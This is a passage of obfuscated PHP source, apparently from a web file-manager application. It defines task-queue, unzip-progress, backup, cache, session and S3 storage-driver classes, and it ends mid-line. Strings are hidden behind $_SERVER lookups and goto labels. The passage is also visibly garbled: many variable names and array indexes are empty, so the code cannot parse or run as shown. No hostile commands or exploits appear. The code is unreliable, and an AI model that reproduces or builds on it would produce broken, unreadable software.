Cache::removeMemory(self::QUEUE_LENGTH); if (!$ཤ) { return 0; } return intval($ཤ); } public static function getAll() { $ݢ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$ݢ) { return array(); } return $ݢ; } public static function setAll($) { $Ҡ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $Ҡ); Cache::set(self::QUEUE_DATA, $, $Ҡ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($ۊ, $ = 5.0) { if (!$ۊ) { return; } $ = Cache::get($ۊ); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($ۊ, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($㝊, $ؽ, $Ę, $ = 5.0) { $Ԧ =& $_SERVER[]; if (!$㝊 || !$ؽ) { return; } self::$asyncAdd = !0; $ = $Ԧ[1773]; $Ѯ = Cache::get($, !0); $ = array($Ԧ[1774] => timeFloat(), $Ԧ[1775] => timeFloat(), $Ԧ[264] => $ؽ, $Ԧ[1768] => $Ę, $Ԧ[180] => $); if (is_array($Ѯ[$㝊])) { $[$Ԧ[1775]] = $Ѯ[$㝊][$Ԧ[1775]]; } if (is_array($Ѯ[$㝊])) { if (timeFloat() - $Ѯ[$㝊][$Ԧ[1774]] < $[$Ԧ[180]] * 0.3) { return; } $[$Ԧ[1775]] = $Ѯ[$㝊][$Ԧ[1775]]; } $Ѯ[$㝊] = $; Cache::set($, $Ѯ, 60); Cache::removeMemory($); write_log($Ԧ[1776] . $㝊 . $Ԧ[71] . $ؽ, $Ԧ[1770]); } public static function timeLimitCallLoop() { $ =& $_SERVER[]; $ = array($[1777]); $̥ = in_array(strtolower(ACTION), $); if (!$̥ && !self::$asyncAdd) { return; } $ = $[1773]; $۴ = Cache::get($, !0); if (!$۴ || count($۴) <= 0) { return; } $ЊϨ = !1; $ = timeFloat(); $ = array(); foreach ($۴ as $զ => $Т) { if ($ - $Т[$[1775]] > $Т[$[180]]) { $ЊϨ = !0; try { Hook::apply($Т[$[264]], $Т[$[1768]]); write_log($[1778] . $զ . $[71] . $Т[$[264]] . $[1779] . ACTION, $[1770]); } catch (Exception $) { } continue; } $[$զ] = $Т; } if (!$ЊϨ) { return; } if (!$) { return Cache::remove($); } Cache::set($, $, 60); Cache::removeMemory($); } public static function finished($Ϊ, $͚) { $Ӡ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($Ӡ[264] => $Ϊ, $Ӡ[1768] => $͚); } private static function finishedRun() { $ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[264]], $[$[1768]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $̛ =& $_SERVER[]; parent::startAfter(); Hook::bind($̛[1780], array($this, $̛[1781])); Hook::bind($̛[1195], array($this, $̛[1782])); $ =& $this->task; $[$̛[1783]] = $̛[1196]; if (!$[$̛[1570]]) { $[$̛[1570]] = LNG($̛[1784]); } } protected function endAfter() { $ =& $_SERVER[]; parent::endAfter(); Hook::unbind($[1780], array($this, $[1781])); Hook::unbind($[1195], array($this, $[1782])); } public function updateAfter() { $ӆؾ =& $_SERVER[]; $ =& $this->task; if (!$[$ӆؾ[785]] || !$[$ӆؾ[762]]) { return; } if ($[$ӆؾ[1783]] == $ӆؾ[1196]) { $떒 = 0; if ($[$ӆؾ[1723]]) { $떒 = $[$ӆؾ[1724]] / $[$ӆؾ[1723]]; } $[$ӆؾ[1672]] = $떒 * 0.3; } else { if ($[$ӆؾ[1783]] == $ӆؾ[313]) { $떒 = $[$ӆؾ[1671]] / $[$ӆؾ[785]]; $[$ӆؾ[1672]] = 0.3 + $떒 * 0.4; } else { if ($[$ӆؾ[1783]] == $ӆؾ[107]) { $ƽ = 0; if ($[$ӆؾ[1725]] == $ӆؾ[107]) { $ƽ = $[$ӆؾ[1724]]; } $떒 = ($[$ӆؾ[1728]] + $ƽ) / $[$ӆؾ[762]]; $[$ӆؾ[1672]] = 0.3 + 0.4 + $떒 * 0.3; } } } if ($[$ӆؾ[1672]] > 0) { $ڛ = timeFloat() - $[$ӆؾ[1674]] - $[$ӆؾ[1677]]; $[$ӆؾ[1678]] = $ڛ * (1 - $[$ӆؾ[1672]]) / $[$ӆؾ[1672]]; } } public function addFile($ާ) { $Ӎ =& $_SERVER[]; $ʩ =& $this->task; $磀 = IO::info($ާ); $ʩ[$Ӎ[1721]] = $磀[$Ӎ[32]]; $ʩ[$Ӎ[1723]] = $磀[$Ӎ[76]]; $ʩ[$Ӎ[1724]] = 0; $ʩ[$Ӎ[1066]] = $Ӎ[1744]; $ʩ[$Ӎ[1725]] = $Ӎ[1196]; $ʩ[$Ӎ[762]] = $磀[$Ӎ[76]]; $ʩ[$Ӎ[785]] = 1; $̠ = 0; $ʩ[$Ӎ[1732]] = array($Ӎ[1733] => $̠ + 1, $Ӎ[420] => $磀[$Ӎ[32]], $Ӎ[84] => $磀[$Ӎ[84]], $Ӎ[509] => $磀[$Ӎ[509]] ? $磀[$Ӎ[509]] : $磀[$Ӎ[84]]); $this->update(); } public function unzipAfter($۱ɝ) { $ =& $_SERVER[]; $ =& $this->task; $[$[1783]] = $[107]; $ = IO::infoWithChildren($۱ɝ); $ = 0; $[$[1732]] = array($[1733] => $ + 1, $[420] => $[$[32]], $[84] => $[$[84]], $[509] => $[$[509]] ? $[$[509]] : $[$[84]]); if ($[$[33]] == $[200]) { $[$[785]] = 1; } else { $[$[785]] = $[$[79]][$[77]]; } $[$[1066]] = $[12]; $[$[1725]] = 0; $[$[1671]] = 0; $[$[1723]] = 0; $[$[1724]] = 0; $[$[1721]] = $[12]; $[$[1728]] = 0; $[$[762]] = $[$[76]]; $this->update(); self::log($[1785] . json_encode(array($, $))); } public function nameParse($ѿ) { $ުь =& $_SERVER[]; $ =& $this->task; if ($[$ުь[1783]] == $ުь[1196]) { $[$ުь[1783]] = $ުь[313]; $[$ުь[1728]] = 0; $[$ުь[762]] = 0; } $ = get_path_this($ѿ); if (strstr($, $ުь[10])) { $[$ުь[1671]] += 1; $[$ުь[785]] += 1; } $[$ުь[1721]] = $ѿ; $this->update(); } } goto E; Eۅ: class BackupDbFile { public function __construct() { } public function index() { $ɫ =& $_SERVER[]; $ = Backup::get(); $Ք = $[$ɫ[32]]; $ʹ = $this->tmpFilesPath() . "\x62\x61\x63\x6b\165\x70\x5f{$Ք}\x2f"; $ۺ = $this->backupPath($); if (!($ۺ = IO::mkdir($ۺ))) { return !1; } $갉 = IO::listPath($ʹ); $ĉƙ = isset($갉[$ɫ[83]]) ? $갉[$ɫ[83]] : array(); $߱ = array_sum(array_column($ĉƙ, $ɫ[76])); if (!$߱) { return !1; } $Ǔ = array($ɫ[797] => $߱, $ɫ[798] => time()); Backup::set($Ǔ); $ = new TaskFileTransfer($ɫ[799], $ɫ[779], count($ĉƙ), LNG($ɫ[780]) . $ɫ[386] . LNG($ɫ[782]) . $ɫ[800]); $->task[$ɫ[762]] = $߱; foreach ($갉[$ɫ[83]] as $қɆ) { $Žŕ = IO::move($қɆ[$ɫ[84]], $ۺ); if (!$Žŕ) { $->end(); $پ = IO::getLastError($ɫ[801] . $қɆ[$ɫ[84]] . $ɫ[802] . $ۺ . $ɫ[164]); write_log($پ, $ɫ[779]); return !1; } } $ = new DbManage(); $ʕ = $->getSqlFile(); if (!$ʕ[$ɫ[803]] || !$ʕ[$ɫ[13]]) { return !1; } IO::move($ʕ[$ɫ[803]], $ۺ); IO::move($ʕ[$ɫ[13]], $ۺ); $->end(); $Ǔ = array($ɫ[804] => $߱, $ɫ[805] => time()); Backup::set($Ǔ); return !0; } private function backupPath($̜ށ) { $֓ =& $_SERVER[]; $ = $̜ށ[$֓[32]]; $ϲ = Model($֓[769])->get($֓[770]); $ = substr(md5($֓[771] . $ϲ . $), 0, 8); return "\173\151\x6f\72{$̜ށ[$֓[750]]}\175\x2f\144\x61\x74\141\142\x61\x73\145\x2f\142\x61\x63\153\165\x70\x2f" . $ . $֓[11] . $; } private function tmpFilesPath() { $҉ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$҉[6]][$҉[89]][$҉[795]]) { $ = $GLOBALS[$҉[6]][$҉[89]][$҉[795]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $҉[796])) { $ = TEMP_FILES; } } return $; } } class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ʝÝ = $[$_SERVER[][293]][$_SERVER[][200]][$_SERVER[][468]]; $ߝ = array($_SERVER[][469] => array($_SERVER[][806], $ʝÝ), $_SERVER[][807] => array($_SERVER[][331], $[$_SERVER[][750]])); $̆ = (int) Model($_SERVER[][788])->where($ߝ)->count($_SERVER[][468]); $ = (int) Model($_SERVER[][788])->where($ߝ)->sum($_SERVER[][76]); $Ӿ = new TaskFileTransfer($_SERVER[][808], $_SERVER[][779], $̆, LNG($_SERVER[][780]) . $_SERVER[][781] . LNG($_SERVER[][809])); $Ӿ->task[$_SERVER[][762]] = $; $ = array($_SERVER[][810] => $̆, $_SERVER[][811] => $, $_SERVER[][812] => time()); Backup::set($); $߷ = !0; $օ = $this->storeIds(); $ = 1; $ = 1000; $ = $ա½ = 0; $Ȕ = array(); $昍ȫ = $ԭ = 0; do { $ = $_SERVER[][813]; $ٿ = Model($_SERVER[][788])->where($ߝ)->field($)->order($_SERVER[][814])->selectPage($, $); $ܺ = !empty($ٿ[$_SERVER[][369]]) ? $ٿ[$_SERVER[][369]] : array(); foreach ($ܺ as $) { if (!$this->_fileExist($, $Ȕ, $օ)) { $̆ -= 1; $ -= (int) $[$_SERVER[][76]]; write_log("\x66\x69\x6c\145\40\156\157\x74\40\x65\170\x69\163\x74\x2e\x66\x69\154\145\111\x44\72{$[$_SERVER[][468]]}\x2c\40\x70\x61\164\150\x3a{$[$_SERVER[][84]]}", $_SERVER[][815]); continue; } $ = $[$_SERVER[][84]]; $оߙ = "\173\151\157\x3a{$[$_SERVER[][750]]}\x7d" . substr($, strlen("\173\151\x6f\x3a{$[$_SERVER[][816]]}\x7d")); if (IO::exist($оߙ)) { $Ӿ->updateFileEnd($[$_SERVER[][32]], $[$_SERVER[][76]]); } else { $оߙ = get_path_father($оߙ); IO::mkdir($оߙ); if (!IO::copy($, $оߙ, $_SERVER[][817])) { write_log($_SERVER[][818] . $ . $_SERVER[][802] . $оߙ . $_SERVER[][164], $_SERVER[][779]); $߷ = !1; break; } } $ʝÝ = $[$_SERVER[][468]]; $ա½ += 1; $ += $[$_SERVER[][76]]; $ԭ += 1; $昍ȫ += $[$_SERVER[][76]]; if ($ >= 1024 * 1024 * 100) { $ = array($_SERVER[][819] => $ʝÝ, $_SERVER[][820] => $ԭ, $_SERVER[][821] => $昍ȫ); Backup::set($); $ = $ա½ = 0; } } $ = count($ܺ); $++; } while ($ == $); $Ӿ->end(); $ = array($_SERVER[][822] => 1, $_SERVER[][760] => time(), $_SERVER[][774] => 1, $_SERVER[][819] => $ʝÝ, $_SERVER[][811] => $, $_SERVER[][810] => $̆, $_SERVER[][823] => time()); if ($ա½) { $[$_SERVER[][820]] = $ԭ; $[$_SERVER[][821]] = $昍ȫ; } Backup::set($); $this->_fileFilter($Ȕ); return !0; } private function _fileExist($, &$Ō, $) { $ =& $_SERVER[]; $ = $[$[84]]; if (in_array($[$[468]], $Ō)) { return !1; } if (!in_array($[$[816]], $)) { return !1; } if (IO::exist($)) { return !0; } $ܴ܁ = get_path_father($); if (IO::exist($ܴ܁)) { $Ō[] = $[$[468]]; return !1; } $߽ = array($[816] => $[$[816]], $[84] => array($[383], "{$ܴ܁}\45")); $ڞ = Model($[788])->where($߽)->field($[469])->select(); $Ō = array_merge($Ō, array_to_keyvalue($ڞ, $[12], $[468])); return !1; } private function _fileFilter($뀃件) { $Ͷ =& $_SERVER[]; if (empty($뀃件)) { return; } $ƺ = array($Ͷ[468] => array($Ͷ[7], array_unique($뀃件))); $ښ = Model($Ͷ[824])->where($ƺ)->field($Ͷ[402])->select(); foreach ($ښ as $Ə) { Model($Ͷ[824])->remove($Ə[$Ͷ[402]], !1); } } private function storeIds() { $ =& $_SERVER[]; $ǹɸ = Model($[766])->listData(); $ = array(); $θ = $GLOBALS[$[6]][$[89]][$[825]]; foreach ($ǹɸ as $Ԗ) { $ƶ磍 = strtolower($Ԗ[$[95]]); if (!isset($θ[$ƶ磍])) { continue; } $ӆ = $[74] . (isset($θ[$ƶ磍]) ? $θ[$ƶ磍] : ucfirst($ƶ磍)); if (!class_exists($ӆ)) { continue; } $[] = $Ԗ[$[399]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $㲅 =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$㲅[6]][$㲅[349]]; $͵ʬ = $[$[$㲅[826]]]; $ = $[$㲅[827]]; switch ($[$㲅[826]]) { case $㲅[21]: self::$handle = Model($㲅[828]); break; case $㲅[829]: self::$handle = new CacheRedis($͵ʬ, $); break; case $㲅[830]: self::$handle = new CacheMemcached($͵ʬ, $); break; case $㲅[200]: self::$handle = new CacheFile($͵ʬ, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($̃) { if (is_array($̃) || is_object($̃)) { $̃ = json_encode($̃); } $̃ = rawurlencode($̃); return md5(KOD_SITE_ID . $_SERVER[][11] . $̃); } public static function get($, $ = false) { $ = self::key($); if ($) { return unserialize(self::init()->get($)); } if (!isset(self::$memoryCache[$])) { $ĥ = self::init()->get($); self::$memoryCache[$] = unserialize($ĥ); } return self::$memoryCache[$]; } public static function set($ݓ, $슊, $ = false) { $ = self::key($ݓ); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $슊) { return !0; } if ($ === 0) { self::$memoryCache[$] = $슊; return !0; } CacheLock::lock($ݓ); $㿳 = self::init()->set($, serialize($슊), $); self::$memoryCache[$] = $슊; CacheLock::unlock($ݓ); return $㿳; } public static function getCall($ǂ, $, $, $ = array()) { $؍ =& $_SERVER[]; $ = self::get($ǂ); if ($ || $ === $؍[12]) { return $; } $ = call_user_func_array($, $); $ = $ ? $ : $؍[12]; self::set($ǂ, $, $); return $; } public static function remove($) { $ͅšߧ = self::key($); unset(self::$memoryCache[$ͅšߧ]); self::clearTimeout(); CacheLock::lock($); $ǀե = self::init()->remove($ͅšߧ); CacheLock::unlock($); return $ǀե; } public static function removeMemory($ݯ) { $ʠ = self::key($ݯ); unset(self::$memoryCache[$ʠ]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][831])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][832])) { self::init()->clearTimeout(); } } } goto AϽ; a: class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $Խ =& $_SERVER[]; static $ = false; if ($) { return $; } $Ͽ = $GLOBALS[$Խ[6]][$Խ[349]]; self::$sessionTime = $Ͽ[$Խ[1625]]; $ = isset($GLOBALS[$Խ[1626]]) ? $GLOBALS[$Խ[1626]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ = $Ͽ[$Խ[1627]]; $ = $Ͽ[$]; $ݭ = $Ͽ[$Խ[827]]; switch ($) { case $Խ[21]: self::$handle = Model($Խ[828]); break; case $Խ[829]: self::$handle = new CacheRedis($, $ݭ); break; case $Խ[830]: self::$handle = new CacheMemcached($, $ݭ); break; case $Խ[200]: $[$Խ[84]] = $[$Խ[84]] . $Խ[1628]; self::$handle = new CacheFile($, $ݭ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($Ƹ) { $͝Ɉ = self::$handle->get($Ƹ); $͝Ɉ = unserialize($͝Ɉ); return is_array($͝Ɉ) ? $͝Ɉ : array(); } public static function setBySign($ӻ, $Ѷ) { CacheLock::lock($ӻ); self::$handle->set($ӻ, serialize($Ѷ), self::$sessionTime); CacheLock::unlock($ӻ); } public static function sign($ = false) { $ && (self::$sessionSign = $); self::init(); return self::$sessionSign; } public static function set($ƽƃ, $ۯ÷ = false) { self::init(); if (is_array($ƽƃ)) { foreach ($ƽƃ as $ => $ǮѪ) { array_set_value(self::$data, $, $ǮѪ); } } else { array_set_value(self::$data, $ƽƃ, $ۯ÷); } self::setBySign(self::$sessionSign, self::$data); } public static function get($Ș = false) { self::init(); if (!$Ș) { return self::$data; } return array_get_value(self::$data, $Ș); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[][832])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[748]) != $[88]) { return; } if (self::valueGet($[1629]) == $[88]) { $ = self::valueGet($[1630]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); $GLOBALS[$[1631]] = 1; self::valueSet($[1629], $[88]); self::log($[1632] . ACTION . $[1633]); Session::$data = array(); Session::$sessionSign = $[12]; $GLOBALS[$[494]] = 1; Hook::bind($[1634], $[1635]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[748]) != $[88]) { self::valueSet($[1629], $[198]); self::log($[1636]); die; } $ώ = time(); if ($ώ - $ >= 60) { self::valueSet(array($[1629] => $[88], $[1630] => $ώ), !1); $ = $ώ; } if (!file_exists(USER_SYSTEM . $[1637])) { self::valueSet(array($[1629] => $[198], $[748] => $[198]), !1); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ =& $_SERVER[]; http_close(); self::valueSet($[748], $[198]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($[1629] => $[198], $[748] => $[88]), !1); } public static function taskSwitch() { $º =& $_SERVER[]; $ϓ = self::valueGet($º[748]) == $º[88] ? $º[198] : $º[88]; self::valueSet($º[748], $ϓ); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1629], $[198]); self::log($[1638]); } public static function config($ҧ, $) { self::valueSet($_SERVER[][748], $ҧ); } private static function taskRunAll() { $ꩆ =& $_SERVER[]; $ٝ = timeFloat(); $ = Model($ꩆ[1639])->listData(); $ܘꏴ = count($); for ($콫Ή = 0; $콫Ή < $ܘꏴ; $콫Ή++) { $ȝ = $[$콫Ή]; if (!$ȝ[$ꩆ[399]] || $ȝ[$ꩆ[1640]] != $ꩆ[88]) { continue; } if (!self::taskTimeCheck($ȝ)) { continue; } self::taskRun($ȝ); } Hook::trigger($ꩆ[1641]); self::taskQueueRun($ٝ); } private static function taskQueueRun($) { $Ү = 10; while (!0) { $릗 = TaskQueue::run(); if ($릗 === !1) { break; } if (timeFloat() - $ >= $Ү) { break; } } } private static function taskTimeCheck($) { $ů =& $_SERVER[]; $߱ = json_decode($[$ů[180]], !0); $͋Þ = intval($[$ů[1630]]); $ʊ = strtotime($ů[1642] . $߱[$ů[1643]] . $ů[1644]) - strtotime($ů[1645]); $ԗ = time() - strtotime(date($ů[1646]) . $ů[1647]); $ = $ԗ >= $ʊ && $ԗ <= $ʊ + 3600; switch ($߱[$ů[33]]) { case $ů[1648]: if (time() - $͋Þ < 3600 * 24 * 30) { return !1; } if ($߱[$ů[1648]] == date($ů[1649]) && $) { return !0; } break; case $ů[1650]: if (time() - $͋Þ < 3600 * 24 * 7) { return !1; } $з̢ = date($ů[1651]) == 0 ? 7 : date($ů[1651]); if ($߱[$ů[1650]] == $з̢ && $) { return !0; } break; case $ů[1643]: if (time() - $͋Þ < 3600 * 24) { return !1; } if ($) { return !0; } break; case $ů[1652]: if (time() - $͋Þ >= floatval($߱[$ů[1652]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $ͮ = 300; if (!$) { $ = time(); } if (time() - $ < $ͮ) { return; } $ = time(); $ = Model($[504])->db($[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1653], $[1654]); die; } } public static function taskRun($) { $П =& $_SERVER[]; self::log($П[1655] . $[$П[399]] . $П[1656] . $[$П[32]] . $П[1657] . $[$П[1658]]); Model($П[1639])->run($[$П[399]]); $ = timeFloat(); $ݝ = $П[12]; switch ($[$П[33]]) { case $П[307]: $ = url_request($[$П[1658]], $П[230], !1, !1, !1, !1, 10); if ($[$П[748]]) { $ݝ = strlen($[$П[1204]]); } break; case $П[229]: $ݝ = Hook::apply($[$П[1658]]); default: break; } Model($П[1659])->add(array($П[1660] => $П[12], $П[1661] => $П[198], $П[33] => $П[1662] . $[$П[399]], $П[1663] => json_encode(array($П[32] => $[$П[32]], $П[1664] => timeFloat() - $, $П[293] => $ݝ)))); $ = $ݝ ? $П[1665] . $ݝ : $П[12]; self::log($П[1666] . $[$П[399]] . $П[164] . $); return !0; } private static function valueGet($ľ) { $ =& $_SERVER[]; $ѹ劧 = $[1667]; $ = Model($[435])->get($ľ, $ѹ劧); if (is_null($)) { Model($[435])->set($[748], $[88], $ѹ劧); Model($[435])->set($[1629], $[198], $ѹ劧); $ = Model($[435])->get($ľ, $ѹ劧); } return $; } private static function valueSet($抓, $) { $¸ =& $_SERVER[]; $˾ = $¸[1668]; CacheLock::lock($˾); $ʭ = Model($¸[435])->set($抓, $, $¸[1667]); CacheLock::unlock($˾); return $ʭ; } protected static function log($) { write_log($, $_SERVER[][1654]); } private static function cacheClear() { $ =& $_SERVER[]; Cache::clearMemory(Model($[435])->cacheKey($[1667])); Cache::clearMemory(Model($[435])->cacheKey($[1669])); Model($[1639])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\163\x74\157\x70"; const STATYS_RUNNING = "\x72\165\x6e\x6e\151\x6e\x67"; const STATYS_KILL = "\x6b\x69\154\154"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($ջ, $ = '', $ע = 0, $䊾 = '') { $ۂϙ =& $_SERVER[]; if (self::get($ջ)) { return; } $this->task = array($ۂϙ[399] => $ջ, $ۂϙ[1670] => USER_ID, $ۂϙ[1570] => $䊾, $ۂϙ[453] => $ۂϙ[12], $ۂϙ[33] => $, $ۂϙ[1066] => $ۂϙ[12], $ۂϙ[785] => $ע, $ۂϙ[1671] => 0, $ۂϙ[1672] => 0, $ۂϙ[1673] => 0, $ۂϙ[1674] => timeFloat(), $ۂϙ[1675] => 0, $ۂϙ[1676] => 0, $ۂϙ[1677] => 0, $ۂϙ[1678] => 0, $ۂϙ[748] => $ۂϙ[1629]); $GLOBALS[$ۂϙ[1679]] = 1; Hook::bind($ۂϙ[1634], array($this, $ۂϙ[1680])); Hook::bind($ۂϙ[1681], array($this, $ۂϙ[1682])); $this->startAfter(); Hook::trigger($ۂϙ[1683], $this->task); $this->task[$ۂϙ[1676]] = timeFloat(); } public function end($ = '') { $ҹ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$ҹ[1676]]) { self::valueSet($this->task[$ҹ[399]], !1); } $this->isEnd = !0; if ($) { $this->task[$ҹ[453]] = $; } self::log($ҹ[1684] . $this->task[$ҹ[399]] . $ҹ[1685] . sprintf($ҹ[849], timeFloat() - $this->task[$ҹ[1674]]) . $ҹ[1686]); Hook::unbind($ҹ[1634], array($this, $ҹ[1680])); Hook::unbind($ҹ[1681], array($this, $ҹ[1682])); $this->endAfter(); $ϻ = $this->task; $this->task = !1; Hook::trigger($ҹ[1687], $ϻ); } public function update($͑ = 0, $⮃ = false) { $㢖 =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$㢖[1671]] += $͑; $[$㢖[1675]] = timeFloat(); if ($[$㢖[785]]) { if ($[$㢖[785]] < $[$㢖[1671]]) { $[$㢖[785]] = $[$㢖[1671]]; } $ = timeFloat() - $[$㢖[1674]] - $[$㢖[1677]]; if ($ <= 0) { $ = 0.001; } $[$㢖[1672]] = $[$㢖[1671]] / $[$㢖[785]]; $[$㢖[1673]] = $[$㢖[1671]] / $; if ($[$㢖[1672]] > 0) { $[$㢖[1678]] = $ * (1 - $[$㢖[1672]]) / $[$㢖[1672]]; } $[$㢖[1678]] = $[$㢖[1678]] <= 0 ? 0 : $[$㢖[1678]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$㢖[1676]] < $ && !$⮃) { return; } $Ÿԩ = self::get($[$㢖[399]]); $̆ = $Ÿԩ[$㢖[748]]; if ($̆ == self::STATYS_KILL) { $Ѫ = array($㢖[1688] => LNG($㢖[1689]), $㢖[1214] => !1); Cache::set($㢖[1690] . $this->task[$㢖[399]], $Ѫ, 30); $this->onKill(); $this->end(); die; } else { if ($̆ == self::STATYS_STOP) { $ь = 2; $Ÿԩ[$㢖[1677]] += $ь; self::valueSet($[$㢖[399]], $Ÿԩ); sleep($ь); $this->update(); return; } } $[$㢖[748]] = $̆ ? $̆ : $[$㢖[748]]; $[$㢖[1677]] = $Ÿԩ[$㢖[1677]] ? $Ÿԩ[$㢖[1677]] : 0; $[$㢖[1676]] = timeFloat(); Hook::trigger($㢖[1691], $); self::valueSet($[$㢖[399]], $); } public function onKillSet($Ѧٯ, $ = array()) { $this->onKillCall = array($Ѧٯ, $); } public function onKill() { $ =& $_SERVER[]; self::log($[1684] . $this->task[$[399]] . $[1692]); Hook::trigger($[1693], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $κ =& $_SERVER[]; Cache::set($κ[1690] . $this->task[$κ[399]], $, 60); return $; } public static function get($ŏ) { $넣 =& $_SERVER[]; $ = self::valueGet($ŏ); if (is_array($) && $[$넣[1694]]) { $ΪԼ = ActionApply($[$넣[1694]], array($)); $ = is_array($ΪԼ) ? $ΪԼ : $; } return $; } public static function listData() { $Ğ = self::valueGet(); return array_sort_by($Ğ, $_SERVER[][1674], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($Ж) { return self::changeStatus($Ж, self::STATYS_RUNNING); } public static function killAll() { $Ԓ =& $_SERVER[]; $۷ = self::listData(); foreach ($۷ as $) { self::kill($[$Ԓ[399]]); } sleep(2); foreach ($۷ as $) { self::valueSet($[$Ԓ[399]], !1); } } private static function changeStatus($ꗮ, $ȗ։) { $ʻ =& $_SERVER[]; $ꓬ = self::valueGet($ꗮ); if (!$ꓬ) { return !1; } $ꓬ[$ʻ[748]] = $ȗ։; self::valueSet($ꗮ, $ꓬ); self::log($ʻ[1695] . $ꓬ[$ʻ[399]] . $ʻ[1696] . $ȗ։); return !0; } public static function valueGet($Ơ = false) { $Ι =& $_SERVER[]; if ($Ơ) { $ = Model($Ι[447])->where(array($Ι[94] => $Ơ, $Ι[33] => $Ι[1073]))->find(); return $ ? json_decode($[$Ι[374]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ =& $_SERVER[]; $ = array($[33] => $[1073]); if ($) { $[$[1670]] = $; } $٘ = Model($[447])->where($)->select(); $٘ = $٘ ? $٘ : array(); foreach ($٘ as $ => $ϳ) { $٘[$] = json_decode($ϳ[$[374]], !0); } return $٘; } public static function valueSet($, $ɸ) { $ =& $_SERVER[]; if (!$ɸ) { return Model($[447])->where(array($[94] => $, $[33] => $[1073]))->delete(); } $ = json_encode($ɸ); if (!$) { ob_start(); var_dump($ɸ); $ = ob_get_clean(); self::log($[1697] . json_encode_force($)); } if (!$ || !$ɸ[$[399]]) { return !1; } $͘ = array($[33] => $[1073], $[1670] => USER_ID, $[94] => $, $[374] => $); $ = $[1698]; CacheLock::lock($); Model($[447])->add($͘, array(), !0); CacheLock::unlock($); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[][1699]); } } goto DƏ; C㜊ď: class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($Ʉ) { parent::__construct($Ʉ); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($πЭ, $ē = 3600) { $ =& $_SERVER[]; $ = $[199]; $ܱ = $[1360]; $э = $[62]; $܅ = gmdate($[1361]); $ͩԴ = gmdate($[749]); $ = $[1362]; $ҍ = $ē . $[12]; $ƾ = $[1324]; $˷Ѫ = array($this->accessKey, $ͩԴ, $this->region, $э, $); $ = implode($[8], $˷Ѫ); $ڷ = array($[1326] => gmdate($[1325], strtotime($[1363])), $[1327] => array(array($[1329] => $this->bucket), array($[1328] => $), array($[1330], $[1331], $[12]), array($[1330], $[1364], $[12]), array($[1330], $[1365], $[12]), array($[1332] => $ƾ), array($[1366] => $), array($[1367] => $ܱ), array($[1368] => $܅), array($[1369] => $ҍ))); $۸ = base64_encode(json_encode($ڷ)); $܄ = hash_hmac($[1370], $ͩԴ, $[1371] . $this->secret, !0); $ǩ = hash_hmac($[1370], $this->region, 